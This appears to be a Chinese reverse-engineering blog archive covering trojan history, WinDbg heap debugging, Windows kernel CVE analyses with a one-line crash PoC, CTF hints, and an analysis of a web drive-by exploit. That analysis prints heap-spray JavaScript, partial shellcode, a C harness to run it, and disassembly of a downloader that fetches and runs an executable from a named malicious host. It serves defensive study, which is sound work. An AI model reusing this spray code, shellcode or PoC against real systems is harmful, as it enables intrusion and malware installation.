• 木马纵谈

    日期:2015-03-20 | 分类:逆向工程

    1、名字由来
        计算机世界中的”特洛伊木马”名字源自于著名的特洛伊战记。故事说的是在古希腊时代,希腊人和特洛伊人发生了战争,在围困特洛伊城长达整整十年后仍不能攻陷。后来希腊人把一批勇士藏匿于巨大无比的木马后退兵,当特洛伊人将木马作为战利品拖入城内时,高大的木马正好卡在城门间,进退两难,夜晚木马内的勇士们爬出来,与城外的部队里应外合而攻下了特洛伊城。而计算机世界的特洛伊木马(Trojan)是指隐藏在正常程序中的一段具有特殊功能的恶意代码,是具备破坏和删除文件、发送密码、记录键盘和拒绝服务攻击等特殊功能的后门程序。(摘自:ZDNet)   
    2、木马纪元
      1986年,出现了世界上第一计算机木马程序——“PC-Write木马”,它会伪装成共享软件PC-Write的2.72版本(实际并不存在该版本),中马后可能导致硬盘被格式化,但当时的木马还不具备传染特征。
        国内的第一款木马是“冰河”远程控制器,带有可视化的操作界面,曾经也是红极一时。
    3、经典案例
          在继PC-Write木马之后,就陆续出现网络传播型的,支持更多功能的,如盗号、键盘记录、远程控制等等,再到后来又发展到内核级、硬件级木马。在此发展期间,在计算机历史上也出现过许多经典的木马案例,下面就为大家盘点下。
    3.1重装系统都无法清除的木马——“鬼影“
          2010年3月,国内出现第一款基于MBR(主引导记录)的Bootkit病毒木马——“鬼影“,它会去破坏杀毒软件,传播盗号木马,篡改浏览器首页。      该款木马有一个比较大的特征,就是即使重装系统或者格式化硬盘都无法清除它,因此它篡改的是MBR主引导记录【如图1】,即0扇区,它是早于系统启动的【如图2】,即在Windows内核加载前,恶意代码早已执行。
    图1:“鬼影”篡改MBR前后的数据对比
    图2:计算机启动顺序图
    3.2全球首个”超级工厂病毒”—— Stuxnet
        2010年,全球首个针对工业系统病毒Stuxnet被发现,它专门针对伊朗核电站、水坝、国家电网等基础设施进行攻击。震网病毒的诞生,标记着从传统的网络犯罪,上升到国级家的网络战争时代。病毒最初是通过U盘感染到电脑的,利用Windows系统上4个未公开的漏洞,感染全球超过10万台主机【如图3】。病毒会去破坏世界各国的化工、发电和电力传输企业的所使用的核心生产控制电脑软件,并代替工厂电脑“发号施令”,影响巨大。
    图3:震网病毒感染流程图
    3.3换硬盘都无法清除的木马——“BMW ” 
         在2011年,国内出现一款比“鬼影”更高级的病毒木马,它不仅攻击MBR,还会去攻击Award主板BIOS(基本输入输出系统,是一组固化到计算机内主板上一个ROM芯片上的程序,它保存着计算机最重要的基本输入输出的程序、系统设置信息、开机后自检程序和系统自启动程序),从而能够第一时间获得系统的控制权,比从MBR启动更早,以致即使换硬盘都无法清除。被感染的机器会批量去下载木马病毒、实现盗号、远程控制的目的,感染后的系统会屏幕上显示“Find it OK!”
    图4:经BMW感染后系统启动情况
    3.4超级网络武器——“火焰“
      2012年,卡巴斯基的安全专家发现一款叫“火焰“(Flame)的病毒木马在中东地区大范围传播,因为其程序包含有“Flame”字符串【如图5】,所以取名“火焰“(Flame)。通过分析,发现其在外部可能潜伏2年之久,怀疑可能是”国家级网络战武器“,主要用于执行网络间谍活动,盗取计算机文件、联系人数据、音频对话记录等等。即使是在断网的情况下,也可通过感染U盘来窃取资料,当被感染的U盘接入联网机器时就会将窃取的信息发送出去。这是当时发现的最为复杂最为强大的网络武器,超过当年的Stuxnet震网病毒。
    图5:“火焰”代码片段
    3.5史上最邪恶的USB木马——“BadUSB“
       在2014年BlackHat黑客大会上,来自SRLabs的安全研究人员展示了一种叫“BadUSB”的攻击方式,能够几乎让所有具备USB商品的电脑都陷入危险的状态。BadUSB就是通过对U盘的固件进行逆向重新编程【如图6】,使得当用户插入U盘后,就会自动执行预置在固件中的恶意代码(非传统的autorun.inf自动运行),然后下载木马执行恶意操作。  此前腾讯安全平台部技术预研团队也专门针对BadUSB进行分析,并重现了其中的危害场景。对技术细节感兴趣的同学可以继续阅读文末所附的链接《新的U盘自动运行——BadUSB原理与实现》。
    图6:BadUSB原理图
    3.6感染苹果电脑的固件级木马——Thunderstrike
          在2014年的德国汉堡30C3黑客大会上,一名安全研究人员展示了一未可通过Mac电脑的“雷电”(Thunderbolt)接口【如图7】进行感染的固件级木马——“雷击”(Thunderstrike),由于它是通过篡改雷电接口的固件(独立于操作系统),因此重装系统也是无法移除它的。将恶意改装过的Thunderbolt设备插入Mac并将其重启后,如果发现开机后存在密码校验机制,只需要按下电源键几秒钟对机器进行硬重启,那么固件密码、硬盘密码,以及用户密码等防护手段都将失效【如图8】,因为恶意ROM已在这些保护措施进行检测之前加载执行了。
    图7:苹果电脑的Thunderbolt“雷电”接口
    图8:固件木马窃取密码
    3.7感染硬盘固件的木马——EQUATION恶意软件
        2015年2月,卡巴斯基实验室爆光一个名为“方程式组织”(Equation Groupt)的史上最强网络犯罪组织,并认为可能是著名震网(Stuxnet)和火焰(Flame)病毒的幕后操纵者。Equation组织创造的恶意软件有些可能已在外部潜伏10年之久,其中有款恶意软件还会对市场上主流硬盘固件进行篡改【如图9】,从而插入恶意代码去执行,这也是目前发现的第一款可自动感染硬盘固件的病毒。Equation组织主要利用该恶意软件去攻击包括俄罗斯、印度、中国等国家,可能用于帮助美国获取情报信息。
    图9:恶意固件感染的部分硬盘品牌类型
    4、如何保护自己
    1、避免打开来源不明的文件,特别邮件或即时通讯工具传输过来的文件;
    2、建议安装安全软件,比如腾讯电脑管家、腾讯手机管家;公司同事一定要安装企业IT部的安全终端
    3、及时更新系统或软件漏洞补丁,防止被恶意软件利用;
    4、避免使用来源不明或安全性未知的USB等外接设备,或者使用安全平台部制作SecLine【如图10】——支持USB充电与数据切换的安全数据线,上面配带有可控开关,当用户开启充电模式后,病毒木马将无法通过USB接口去感染设备。

     
    腾讯安全应急响应中心出品的SecLine安全数据线
    5、参考资料
    1、木马攻击与防御发展简史:http://security.zdnet.com.cn/security_zone/2009/0521/1370182.shtml
    2、Bootkit技术演变趋势及研究分析:http://www.vxjump.net/files/security_research/Bootkit_analysis_trend.pdf
    3、新的U盘自动运行——BadUSB原理与实现:http://security.tencent.com/index.php/blog/msg/74
    4、FreeBuf关注黑客与极客:http://www.freebuf.com
    5、修改硬盘固件的木马:探索方程式(EQUATION)组织的攻击组件:http://www.antiy.com/response/EQUATION_ANTIY_REPORT.html
  • python版本切换

    日期:2013-01-04 | 分类:逆向工程

    由于很多python工具只能在特定python版本下运行,导致有时支持这个工具,另一个工具就不能运行,很是麻烦。有些朋友可能会通过 virutualenv 来创建特定python版本的虚拟环境,在mac osx 下其实也可以通过设置环境来切换版本,以及32位和64位之间的切换:

     

    export VERSIONER_PYTHON_VERSION=2.6

    export VERSIONER_PYTHON_PREFER_32_BIT=yes

     

  • mona v2.0 支持windbg

    日期:2013-01-02 | 分类:逆向工程

     

    mona——exploit开发的辅助神器,以前叫pvdfindaddr,新年来了,corelan 也更新了mona插件,目前支持immdbg和windbg,并且支持JOP gadgets查找,其实主要功能变化不大,主要是现在支持windbg了,扩大了它的使用范围而已。
    Jingle BOFs, Jingle ROPs, Sploiting all the things… with Mona v2 !!
    https://www.corelan.be/index.php/2012/12/31/jingle-bofs-jingle-rops-sploiting-all-the-things-with-mona-v2/

     

  • 堆调试选项

    日期:2012-10-20 | 分类:逆向工程

    备忘下,不然过段时间又忘记各参数了

     

    0:003> !gflag

    Current NtGlobalFlag contents: 0x00000070

        htc - 堆尾检查,在堆块末尾附加额外的标记信息(通常为8字节),用于检查堆块是否发生溢出。

        hfc - 堆释放检查,在释放堆块时对堆进行各种检查,防止多次释放同一个堆块。

        hpc - 堆参数检查,对传递给堆管理的参数进行更多的检查。

        ust - 用户态栈回溯,即将每次调用堆函数的函数调用信息记录到一个内在数据库中。

        htg - 堆标志,为堆块增加附加标记,以记录堆块的使用情况或其他信息。

        hvc - 调用时验证,即每次调用堆函数时都对整个堆进行验证和检查。

        hpa - 启用页堆,在堆块后增加专门用于检测溢出的栅栏页,若发生堆溢出触及栅栏页便会立刻触发异常。

     

    0:003> !gflag -i app.exe +htc +hfc +hpc -ust

     

    !gflag /p /enable qq.exe 开启页堆

     

    gflags.exe -i app.exe +htc

     

  •  

    简单记录下,有时在分析漏洞时,以特定结构体去解析数据,更便于准确定位漏洞成因,尤其是文件格式的漏洞。

     

    1、Shift + F1:打开本地类型;

    2、insert:插入自定义的结构体;

    3、Shift + F9:打开结构体;

    4、Insert:添加上面创建的结构体;

    5、选取相应数据,Alt + Q 将其以上面的结构体进行解析。

     

  • 堆块双重释放漏洞调试技巧

    日期:2011-12-17 | 分类:逆向工程

    技巧一:

     

    下断:

    bu 3440D279".if(1){.echo EnterVulnFunc;gc}"

    bu 6e264b6c".if(1){.echo Free heap block; dd esp l4;gc}"

     

    输出结果:

    EnterVulnFunc

    Free heap block

    0011bc5c  3441e2a2138f00203b906313 10027b64

    Free heap block

    0011bc5c  3441dc6c138f0020 3b906313 10027b64

    (1508.e84): Accessviolation - code c0000005 (first chance)

    First chanceexceptions are reported before any exception handling.

    This exception may beexpected and handled.

    eax=138f0018ebx=138f0020 ecx=6e287a7e edx=10028a70 esi=008a0000 edi=00000000

    eip=77691f88esp=0011bbe8 ebp=0011bbf8 iopl=0        nv up ei pl zr na pe nc

    cs=001b  ss=0023 ds=0023  es=0023  fs=003b gs=0000             efl=00010246

    ntdll!RtlFreeHeap+0x3a:

    77691f8880780705        cmp     byte ptr [eax+7],5         ds:0023:138f001f=??

    0:000> kb

    ChildEBP RetAddr  Args to Child              

    0011bbf8 75aaf14c008a0000 00000000 138f0020 ntdll!RtlFreeHeap+0x3a

    0011bc0c 6e264c39008a0000 00000000 138f0020 kernel32!HeapFree+0x14

    0011bc58 3441dc6c138f0020 3b90631310027b64 MSVCR80!free+0xcd 


    技巧二:

    0:000> kb

    ChildEBP RetAddr  Args to Child             

    0012fbe4 7c85079b 015b1000 0012fc94 0012fc70 ntdll!DbgBreakPoint

    0012fbf4 7c87204b 00000007 7c8722f8 015b1000 ntdll!RtlpPageHeapStop+0x72

    0012fc70 7c873305 015b1000 00000004 003f5858 ntdll!RtlpDphReportCorruptedBlock+0x11e

    0012fca0 7c8734c3 015b1000 003f0000 01001002 ntdll!RtlpDphNormalHeapFree+0x32

    0012fcf8 7c8766b9 015b0000 01001002 003f5858 ntdll!RtlpDebugPageHeapFree+0x146

    0012fd60 7c860386 015b0000 01001002 003f5858 ntdll!RtlDebugFreeHeap+0x1ed

    0012fe38 7c81d77d 015b0000 01001002 003f5858 ntdll!RtlFreeHeapSlowly+0x37

    0012ff1c 78134c3b 015b0000 01001002 003f5858 ntdll!RtlFreeHeap+0x11a

    0012ff68 00401016 003f5858 003f5858 00000064 MSVCR80!free+0xcd


    0:000> !heap -p -a 0x3f5858

        address 003f5858 found in

        _HEAP @ 3f0000

       in HEAP_ENTRY: Size : Prev Flags - UserPtr UserSize - state

            3f5830: 0014 : N/A  [N/A] - 3f5858 (70) - (free DelayedFree)

            Trace: 004f

            7c860386 ntdll!RtlFreeHeapSlowly+0x00000037

            7c81d77d ntdll!RtlFreeHeap+0x0000011a

            78134c3b MSVCR80!free+0x000000cd       // 在callstack中已显示曾被释放过一次

            401010 win32!main+0x00000010

            77e523cd kernel32!BaseProcessStart+0x00000023


    0:000> uf 00401010

       74 00401000 56               push    esi

       75 00401001 6a64             push    0x64

       75 00401003 e824000000       call    win32!operator new[] (0040102c)

       75 00401008 8bf0             mov     esi,eax

       76 0040100a 56               push    esi

       76 0040100b e828000000       call    win32!operator delete (00401038)

       77 00401010 56               push    esi

       77 00401011 e81c000000       call    win32!operator delete (00401032)

     

    技巧三:

    由于堆块是动态分配,每次加载调试时,进程所分配的堆块地址都是不同的。为了提高分析效率,我们可以在调试到一定程度时保存虚拟机快照,等我们需要重新加载调试时,可以直接恢复虚拟机快照,这样每次调试的堆块地址都是固定的。

     

  • CVE-2011-2500漏洞分析与修复

    日期:2011-12-04 | 分类:逆向工程

    【标题】:CVE-2011-2500漏洞分析与修复

    【作者】:riusksk(泉哥)

    【主页】:http://riusksk.blogbus.com

    【时间】:2011年12月4日

     

    漏洞描述

             MicrosoftWindows Ancillary Function Driverafd.sys)由于在对用户提交的数据未进行完善的检测导致存在本地提权漏洞,攻击者利用该漏洞可执行任意代码。

     

    漏洞分析

             由于afd.sys只在当OutBufferLength不为0的情况下才检测UserBuffer地址的有效性,因此攻击者只需令OutBufferLength = 0即可绕过检测:


     

    关于该漏洞的利用还是需要一定技巧性,具体的exploit代码可参考:

    Python版:http://www.exploit-db.com/exploits/18176/

    C语言版:http://bbs.pediy.com/showthread.php?t=143634

     

    漏洞修复

             通过补丁比较分析可以发现,补丁后的afs.sys不再检测OutBufferLength是否为0,而是直接检测UserBuffer所指向的地址的有效性。左下图是修复后的,右下图是修复前:

     

     

     

     

  • CVE-2011-1985漏洞分析与修复

    日期:2011-12-03 | 分类:逆向工程

    【标题】:CVE-2011-1985漏洞分析与修复

    【作者】:riusksk(泉哥)

    【主页】:http://riusksk.blogbus.com

    【时间】:2011/12/3

     

    漏洞描述

             Windows系统中的win32k.sys由于缺乏对用户输入的验证,导致空指针引用,可导致本地提权或者拒绝服务攻击。Poc代码及其崩溃时的栈情况可参考这里:http://www.exploit-db.com/exploits/18024/

     

    漏洞分析

             下面是系统崩溃时的栈情况:

    0: kd> kp

    ChildEBP RetAddr

    ee21fd08 bf80ef2b win32k!NtUserfnINCBOXSTRING+0x8

    ee21fd40 8054261c win32k!NtUserMessageCall+0xae

    ee21fd40 7c92e4f4 nt!KiFastCallEntry+0xfc

    0012ff2c 77d194be ntdll!KiFastSystemCallRet

    0012ff5c 00401015 USER32!NtUserMessageCall+0xc

    ……

     

    由上我们可以知道漏洞主要发生在 win32k!NtUserfnINCBOXSTRING这个函数里面。直接IDA加载win32k.sys进行分析,先跟进NtUserMessageCall函数:

     

     

    消息号在0x400以内的,NtUserMessageCall函数就会去索引gapfnMessageCall函数数组中的对应函数,通过将消息号与0x3F相与运算获得函数数组索引值:

     

    漏洞函数NtUserfnINCBOXSTRING位于函数数组索引值为0x19win32k.sys版本不同,索引值可能会有所不同),与0x3F相与后仍为0x19,即:MessageTable[0x19] & 0x3F == 0x19 (NtUserfnINCBOXSTRING)。跟进NtUserfnINCBOXSTRING函数发现,传递的HWND参数未检测其有效性就直接引用了,导致空指针被引用:

     

    因此当我们传递一个0xFFFFFFFF的句柄时,即可导致蓝屏:

     

    #include

    void main()

    {

            SendMessageCallback((HWND)-1,CB_ADDSTRING,0,0,0,0);

    }

     

    其它消息所导致的蓝屏,原因与此一样。

     

    漏洞修复

             通过分析打补丁后的win32k.sys,可以发现它在漏洞函数中添加了对0xFFFFFFFF参数的判断,若存在则调用UserSetLastError() 返回 -1

     

  • "微软杯"Exploit Me安全调试技术挑战赛比赛地址:http://bbs.pediy.com/showthread.php?t=133191
    这次比赛的题目大多来源于网上的一些利用方法,百度谷歌可以帮你解决很多问题!所以说,善于搜索资料才是一种本事!

    第一题:
    XSS in hidden field:http://sla.ckers.org/forum/read.php?2,17217
    第二题:
    http://html5sec.org/,思路来源于此,直接用a标签就成了
    第三题:
    搜索字符串看到bho0day,直接在URL中输入提示错误,再ctrl+n找到strcpy,直接定位漏洞,但有空间限制,不过足够存放shellcode了,关键是解决跳板问题,我没有写出exploit,后面也没有回头再分析了,坐等各位牛人发码。或许heap spary是最佳选择,在做此题还想用此方法,结果在写exploit 时,却一直想着找跳板,把神奇的heap spary给忘了,一根筋挂了....
    第四题:
    过safeseh的方法参见之前hackme挑战赛上watercloud给出的方法:http://bbs.pediy.com/showthread.php?t=121314&page=6
    第五题:
    给的样本始终无法触发shellcode,问了好几位朋友,只有一人成功触发了,看来这样本也不够稳定啊,无法触发shellcode,就很难通过静态分析来回答那些问题了,果断放弃……若能触发,可先直接百度下该漏洞的msf模板了解漏洞原理:http://http://packetstormsecurity.org/files/view/97153/ms10_087_rtf_pfragments_bof.rb.txt,再OD定位shellcode,应该就很好搞定了。
    第六题:
    模仿瑞星本地提权漏洞:http://www.exploit-db.com/exploits/11281/,
    论坛上的轩辕小聪大牛也有在论坛上分析过:http://bbs.pediy.com/showthread.php?t=106184
    第七题:
    模仿 EVEREST (kerneld.sys)漏洞:http://www.ntinternals.org/ntiadv0803/ntiadv0803.html,其中最后一问,就写内核基址那问, 由于MmMapIoSpace的作用,需要将虚拟地址转换为物理地址以作为输入来利用漏洞,可自己实现地址转换功能,看雪上是有人分析过,参见这里《逆向MmGetPhysicalAddress并正向》:http://bbs.pediy.com/showthread.php?t=125037,不过通过windbg查看我系统上的相关数据结构,发现跟这文章中的内容不一样,上面的代码我也没编译通过。自己也没有实现代码,或者简单点,你可以直接关闭CPU的分页机制,把物理地址直接当线性地址来利用,这只是个思路,坐等各位大牛报料。

  • Ie0dayCVE0806网马样本分析

    日期:2010-11-02 | 分类:逆向工程

    【标题】:Ie0dayCVE0806网马样本分析                                              
    【作者】:泉哥(http://riusksk.blogbus.com)

    分析工具:

            MDecoder 0.66  

            EditPlus 3.01

             FreShow

            VC 6.0

             OllyDbg 1.10
    样本来源:

             网站(安徽新闻网)被黑客植入木马 http://log.mtian.net/?p=1152001
    分析结果:
    Log By Mdecoder

     [root]http://www.ah.chinanews.com.cn/GuestBook/Images/con.wtxlj871/wenda./lpt9.mqhna976.asp(长安汽车这支股票怎么样?以后怎么样?--股票--)

        [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

            [script]http://1029a9.3322.org:225/yy2/mj.js

            [virus]http://231ad.3322.org:225/yy2/no.exe

        [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

        [exp]http://1029a9.3322.org:225/yy2/index.htm(Exploit.Ie0dayCVE0806.a)

        [script]http://js.160ads.com/i.js

            [script]http://js.160ads.com/+s(sr)+

            [iframe]http://js.160ads.com/+s(sr)+
    代码分析:
    挂马方式:


    Exploit代码分析:
    Index.htm:



     



       //设置隐藏按钮

        //挂上恶意脚本http://1029a9.3322.org:225/yy2/mj.js





    mj.js:

    function auc2(){

        a3=new Array();  //创建一数组对象array,而这些动态申请到的对象/变量都会被分配到堆中

        var a5=0x86000-(a4.length*2);    // 536KB减去shellcode字节数,主要用于计算每一喷射块除shellcode之外还需要多少字节需要用nop填充

        var LFlwBa=unescape('%u0c0c%u0c0c');

        while(LFlwBa.length

            LFlwBa+=LFlwBa;     //将每一喷射块中除shellcode外均用0c0c0c0c填充

        };

        var a6=LFlwBa.substring(0,a5/2);

        delete LFlwBa;

        for(i=0;i<270;i++){        

                a3[i]=a6+a6+a4;   ////用一连串包括shellcode的喷射块去填充内存以实现heap spary

        }

    }

    Shellcode 分析

    先将shellcode部分去除连接符“+”,然后用FreShow执行ESC解码:

    \x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x54\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA……省略部分内容……\xEA\xEA\xEA\xEA\xEA\xEA\xEA

    用VC编写以下代码:

    int main()

    {            

        char shellcode[]="\x58\x58\x58\x58\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\xB8\x03\x80\x34\x0B\xBD\xE2\xFA\xEB\x05\xE8\xEB\xFF\ \xBC\xE4\x55\xF2\xBF\xBD\xBD\x5F\x44\x3C\x51\xBD\xBC\xBD\xBD\x36\x61……省略部分内容……\xBD\xBD\xD7\xBD\xD7\xA7\x8c\xdc\xd9\x93\x8e\x8e\x8f\x8f\x93\xd2\xcf\xda\x87\x8f\x8f\x88\x92\xc4\xc4\x8f\x92\xd3\xd2\x93\xd8\xc5\xd8\xbd\xbd\xbd\xEA\xEA\xEA\xEA\xEA\xEA\xEA\xEA";

        __asm{

                lea eax,shellcode

                push eax

                ret

        }

        return 0;

    }

    用VC编译成程序,然后用OD加载逆向分析,F8到shellcode后来到:

    0012FBAC    58              POP EAX

    0012FBAD    58              POP EAX

    0012FBAE    58              POP EAX

    0012FBAF    58              POP EAX

    0012FBB0    EB 10           JMP SHORT 0012FBC2

    0012FBB2    5B              POP EBX

    0012FBB3    4B              DEC EBX

    0012FBB4    33C9            XOR ECX,ECX

    0012FBB6    66:B9 B803      MOV CX,3B8

    0012FBBA    80340B BD       XOR BYTE PTR DS:[EBX+ECX],0BD            ; 循环异或解密后面的关键代码

    0012FBBE  ^ E2 FA           LOOPD SHORT 0012FBBA

    0012FBC0    EB 05           JMP SHORT 0012FBC7

    0012FBC2    E8 EBFFFFFF     CALL 0012FBB2                            ; 必须F7跟进,否则结束进程

    0012FBC7    E9 1E030000     JMP 0012FEEA                             ;无实际操作意义,相当于花指令,同时具有反调试作用,遇到call须单步跟进

    0012FBCC    5F              POP EDI

    0012FBCD    64:A1 30000000  MOV EAX,DWORD PTR FS:[30]                ; PEB结构

    0012FBD3    8B40 0C         MOV EAX,DWORD PTR DS:[EAX+C]             ; PEB_LDR_DATA结构

    0012FBD6    8B70 1C         MOV ESI,DWORD PTR DS:[EAX+1C]            ; InInitializationOrderModuleList

    0012FBD9    AD              LODS DWORD PTR DS:[ESI]                  ; 指向kernel32.dll模块

    0012FBDA    8B68 08         MOV EBP,DWORD PTR DS:[EAX+8]             ; kernel32基址

    0012FBDD    8BF7            MOV ESI,EDI

    0012FBDF    6A 11           PUSH 11

    0012FBE1    59              POP ECX                                  ; ecx=0x11,相当于要循环获取17个函数地址

    0012FBE2    E8 BE020000     CALL <_GetFunAddr>                       ; 获取函数地址,跟进此函数

    {

    0012FEA5 >  51              PUSH ECX

    0012FEA6    56              PUSH ESI

    0012FEA7    8B75 3C         MOV ESI,DWORD PTR SS:[EBP+3C]            ; PE头

    0012FEAA    8B742E 78       MOV ESI,DWORD PTR DS:[ESI+EBP+78]        ; 输出表RVA

    0012FEAE    03F5            ADD ESI,EBP                              ; 输出表绝对地址

    0012FEB0    56              PUSH ESI

    0012FEB1    8B76 20         MOV ESI,DWORD PTR DS:[ESI+20]            ; 函数名称表RVA

    0012FEB4    03F5            ADD ESI,EBP                              ; 函数名称表绝对地址

    0012FEB6    33C9            XOR ECX,ECX                              ; 计数器

    0012FEB8    49              DEC ECX

    0012FEB9    41              INC ECX                                  ; 递增计数器,用于寻找下个函数名

    0012FEBA    AD              LODS DWORD PTR DS:[ESI]                  ; 第一个函数名RVA

    0012FEBB    03C5            ADD EAX,EBP                              ; 第一个函数名的绝对地址

    0012FEBD    33DB            XOR EBX,EBX

    0012FEBF    0FBE10          MOVSX EDX,BYTE PTR DS:[EAX]              ; 循环获取函数名的各个字符,直至遇到回车符0x0D

    0012FEC2    3AD6            CMP DL,DH

    0012FEC4    74 08           JE SHORT 0012FECE

    0012FEC6    C1CB 07         ROR EBX,7                                ; 对函数名进行hash运算,以简便后面函数搜索的过程

    0012FEC9    03DA            ADD EBX,EDX

    0012FECB    40              INC EAX

    0012FECC  ^ EB F1           JMP SHORT 0012FEBF

    0012FECE    3B1F            CMP EBX,DWORD PTR DS:[EDI]               ; 寻找匹配的函数名的hash值

    0012FED0  ^ 75 E7           JNZ SHORT 0012FEB9

    0012FED2    5E              POP ESI

    0012FED3    8B5E 24         MOV EBX,DWORD PTR DS:[ESI+24]            ; 函数序号表RVA

    0012FED6    03DD            ADD EBX,EBP                              ; 函数序号表绝对地址

    0012FED8    66:8B0C4B       MOV CX,WORD PTR DS:[EBX+ECX*2]           ; 寻找当前匹配函数的序号值

    0012FEDC    8B5E 1C         MOV EBX,DWORD PTR DS:[ESI+1C]            ; 函数地址表RVA

    0012FEDF    03DD            ADD EBX,EBP                              ; 函数地址表绝对地址

    0012FEE1    8B048B          MOV EAX,DWORD PTR DS:[EBX+ECX*4]         ; 获取当前匹配函数的RVA

    0012FEE4    03C5            ADD EAX,EBP                              ; 当前匹配函数的绝对地址

    0012FEE6    AB              STOS DWORD PTR ES:[EDI]                  ; edi=函数地址

    0012FEE7    5E              POP ESI

    0012FEE8    59              POP ECX

    0012FEE9    C3              RETN

    }

    0012FBE7    90              NOP

    0012FBE8  ^ E2 F8           LOOPD SHORT 0012FBE2                     ; 循环获取以下函数的地址:GetModuleHandleA、GetTempPathA、CreateProcessInternalA、LoadLibraryA、GetProcAddress、ExitProcess、GetCurrentThreadId、Sleep、VirtualProtect、CreateFileA、GetFileSize、CreateFileMappingA、WriteFile、CloseHandle、SetFilePointer、MapViewOfFile、UnmapViewOfFile

    0012FBEA    68 33320000     PUSH 3233

    0012FBEF    68 55736572     PUSH 72657355                            ; "User32"

    0012FBF4    54              PUSH ESP

    0012FBF5    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

    0012FBF8    E8 BE010000     CALL <_CallEAX>                          ; 调用eax

    0012FBFD    8BE8            MOV EBP,EAX

    0012FBFF    6A 05           PUSH 5

    0012FC01    59              POP ECX                                  ; ecx=0x5,计数器

    0012FC02    E8 9E020000     CALL <_GetFunAddr>                       ; 循环获取以下函数地址:EnumWindows、GetClassNameA、GetWindowThreadProcessId、DestroyWindow、MessageBeep

    0012FC07  ^ E2 F9           LOOPD SHORT 0012FC02

    0012FC09    68 6F6E0000     PUSH 6E6F

    0012FC0E    68 75726C6D     PUSH 6D6C7275                            ; "urlmon"

    0012FC13    54              PUSH ESP

    0012FC14    FF16            CALL DWORD PTR DS:[ESI]

    0012FC16    85C0            TEST EAX,EAX

    0012FC18    75 13           JNZ SHORT 0012FC2D

    0012FC1A    68 6F6E0000     PUSH 6E6F

    0012FC1F    68 75726C6D     PUSH 6D6C7275                            ; "urlmon"

    0012FC24    54              PUSH ESP

    0012FC25    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

    0012FC28    E8 8E010000     CALL <_CallEAX>

    0012FC2D    8BE8            MOV EBP,EAX

    0012FC2F    6A 01           PUSH 1

    0012FC31    59              POP ECX

    0012FC32    E8 6E020000     CALL <_GetFunAddr>                       ; 获取URLDownloadToFileA 函数地址

    0012FC37  ^ E2 F9           LOOPD SHORT 0012FC32

    0012FC39    68 6C333200     PUSH 32336C

    0012FC3E    68 7368656C     PUSH 6C656873                            ; "shell32"

    0012FC43    54              PUSH ESP

    0012FC44    8B46 0C         MOV EAX,DWORD PTR DS:[ESI+C]             ; kernel32.LoadLibraryA

    0012FC47    E8 6F010000     CALL <_CallEAX>

    0012FC4C    8BE8            MOV EBP,EAX

    0012FC4E    6A 01           PUSH 1

    0012FC50    59              POP ECX

    0012FC51    E8 4F020000     CALL <_GetFunAddr>                       ; 获取SHGetSpecialFolderPathA 地址

    0012FC56  ^ E2 F9           LOOPD SHORT 0012FC51

    0012FC58    81EC 00010000   SUB ESP,100

    0012FC5E    8BDC            MOV EBX,ESP

    0012FC60    81C3 80000000   ADD EBX,80

    0012FC66    6A 00           PUSH 0

    0012FC68    6A 1A           PUSH 1A

    0012FC6A    53              PUSH EBX

    0012FC6B    6A 00           PUSH 0

    0012FC6D    FF56 5C         CALL DWORD PTR DS:[ESI+5C]               ; shell32.SHGetSpecialFolderPathA,获取路径C:\Documents and Settings\当前用户名\Application Data

    0012FC70    33C0            XOR EAX,EAX

    0012FC72    40              INC EAX

    0012FC73    803C03 00       CMP BYTE PTR DS:[EBX+EAX],0              ; 计算路径字符串的长度,并保存在eax中

    0012FC77  ^ 75 F9           JNZ SHORT 0012FC72

    0012FC79    C70403 5C662E65 MOV DWORD PTR DS:[EBX+EAX],652E665C

    0012FC80    C74403 04 78650>MOV DWORD PTR DS:[EBX+EAX+4],6578        ; "\f.exe"

    0012FC88    33C9            XOR ECX,ECX

    0012FC8A    51              PUSH ECX

    0012FC8B    51              PUSH ECX

    0012FC8C    53              PUSH EBX                                 ; C:\Documents and Settings\Administrator\Application Data\f.exe

    0012FC8D    57              PUSH EDI                                 ; ASCII "http://231ad.3322.org:225/yy2/no.exe"

    0012FC8E    51              PUSH ECX

    0012FC8F    33C0            XOR EAX,EAX

    0012FC91    8B46 58         MOV EAX,DWORD PTR DS:[ESI+58]            ; urlmon.URLDownloadToFileA,下载恶意程序

    0012FC94    E8 22010000     CALL <_CallEAX>

    0012FC99    83F8 00         CMP EAX,0

    0012FC9C    E9 A3000000     JMP 0012FD44

     

    跳转后来到这里:

     

    0012FD44    8BFB            MOV EDI,EBX

    0012FD46    33C0            XOR EAX,EAX

    0012FD48    33DB            XOR EBX,EBX

    0012FD4A    81EC 00020000   SUB ESP,200

    0012FD50    8BCC            MOV ECX,ESP

    0012FD52    83F8 54         CMP EAX,54

    0012FD55    7D 08           JGE SHORT 0012FD5F

    0012FD57    891C01          MOV DWORD PTR DS:[ECX+EAX],EBX           ; 对[ecx+eax]中的0x50字节空间进行清零操作,以作为参数被后面的函数调用

    0012FD5A    83C0 04         ADD EAX,4

    0012FD5D  ^ EB F3           JMP SHORT 0012FD52

    0012FD5F    8BCC            MOV ECX,ESP

    0012FD61    8BD9            MOV EBX,ECX

    0012FD63    83C3 10         ADD EBX,10

    0012FD66    33C0            XOR EAX,EAX

    0012FD68    50              PUSH EAX

    0012FD69    51              PUSH ECX

    0012FD6A    53              PUSH EBX

    0012FD6B    50              PUSH EAX

    0012FD6C    50              PUSH EAX

    0012FD6D    50              PUSH EAX

    0012FD6E    50              PUSH EAX

    0012FD6F    50              PUSH EAX

    0012FD70    50              PUSH EAX

    0012FD71    57              PUSH EDI                                 ; ASCII "C:\Documents and Settings\Administrator\Application Data\f.exe"

    0012FD72    50              PUSH EAX

    0012FD73    50              PUSH EAX

    0012FD74    FF56 08        CALL DWORD PTR DS:[ESI+8]                ; kernel32.CreateProcessInternalA,执行下载的恶意程序f.exe